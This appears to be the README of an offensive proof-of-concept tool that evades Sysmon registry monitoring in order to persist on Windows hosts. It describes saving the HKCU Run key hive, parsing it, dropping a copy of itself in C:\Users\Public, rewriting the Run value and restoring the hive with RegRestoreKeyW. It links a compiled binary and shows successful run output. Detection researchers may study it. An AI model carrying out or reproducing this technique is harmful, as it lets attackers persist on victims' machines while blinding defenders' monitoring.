

This short C code presents a Proof of Concept (POC) designed to achieve persistence and evade Sysmon event monitoring for registry actions such as key creation, update, and deletion, specifically targeting the REG_NOTIFY_CLASS Registry Callback in the Sysmon driver filter. To bypass monitoring, the POC leverages the RegSaveKeyExW() and RegRestoreKeyW() APIs, which are not included (as of writing) in sysmon monitoring or in REG_NOTIFY_CLASS type of registry callback of Sysmon driver filter.

By utilizing these APIs, the POC can create backups of registry keys using RegSaveKeyExW() and later restore them using RegRestoreKeyW(), effectively evading detection by Sysmon. It's essential to recognize that this POC serves only as a demonstration of a potential technique for achieving persistence and evading monitoring and should be used solely for educational or research purposes, refraining from any malicious intent or illegal activities.

POC GOAL

modify the existing registry entry in

HKCU\Software\\Microsoft\\Windows\\CurrentVersion\\Run using RegSave and Regstore API to gain persistence in targeted host.

notes: this poc needs an admin privileges to execute properly

POC Use Case

- 1. Adjust Token Privilege SeBackupPrivilege to be able to save

 HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run registry hive.
- 2. saved the registry hive to "save_reg.hive"
- 3. Parse registry hive structure (save_reg.hive) to look for registry value key data string to be modify.
- 4. compute the length of the registry value key data string during parsing, then used that length to generate random file name.
- 5. dropped a copy of itself in c:\users\public\{random_filename}.exe
- 6. create a copy of save_reg.hive -> mod_save_reg.hive
- 7. modify the current registry value key data string of HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run with the file path of its file copy.
- 8. Adjust Token Privilege to SeRestorePrivilege
- 9. trigger RegRestore via RegRestoreKeyW() API.

HOW

- clone the project and build it using Visual Studio (tested with VS 2019) or
- grab the compiled x64 PE file in released build (RegReeper.7z) password: infected

POC Example

```
Reg Restore Evasion and Persistence
    [SUCCESS]:[TASK] [->] Token Privileges Adjusted: SeBackupPrivilege
    [SUCCESS]:[TASK] [->] Registry Hive Saved ..
    [SUCCESS]:[REGSAVE]
                                          : Software\Microsoft\Windows\CurrentVersion\Run
         [->] SUBKEY
              SavedRegistryHiveFilePath: save_reg.hive
[+] [SUCCESS]:[TASK] [->] Registry Hive Copied ..
    [SUCCESS]:[REG-PARSING] [->] Parsing Registry Hive Structure..
    [SUCCESS]:[TASK] [->] REGF_HEADER Parsed..
                       [->] HBIN_HEADER Parsed..
     SUCCESS]:[TASK]
    SUCCESS]:[TASK]
                       [->] CELL_HEADER Parsed..
                           NAMEDKEY_HEADER RECORD FOUND
               [TASK]
                       [->] NAMEDKEY_RECORD Parsed.
              : [TASK]
                       [->] Registry NamedKey String: Run
[->] CELL_HEADER Parsed..
     SUCCESS 1
     SUCCESS1
              : [TASK
                       ->] SUBKEY_RECORD Parsed..
              : [TASK
    SUCCESS 1
                       [->] CELL HEADER Parsed..
                       [->] VALUE_KEY_RECORD Parsed..
[->] Registry Value Data String Parsed..
    SUCCESS 1
              : [TASK]
    SUCCESS
    [SUCCESS]:[REG-PARSING]
              C:\Users\Public\hdOn0BGmYdkJKxFYkP74KBiVcxIy8e.exe
              Value Data String Length : 100
Copy Of Itself File path : C:\
                                                 : C:\Users\Public\m1lwio3aLtAoctHoosBvbK052ZKuvY.exe
                       Itself File path Length: 50
                      [->] Multi Bytes String to Wide String...
    [SUCCESS]:[TASK]
    [SUCCESS]:[TASK]
                            Token Privileges Adjusted: SeRestorePrivilege
    [SUCCESS]:[TASK]
    [SUCCESS]:[TASK]
                            Modified Reg Hive Data Restored...
```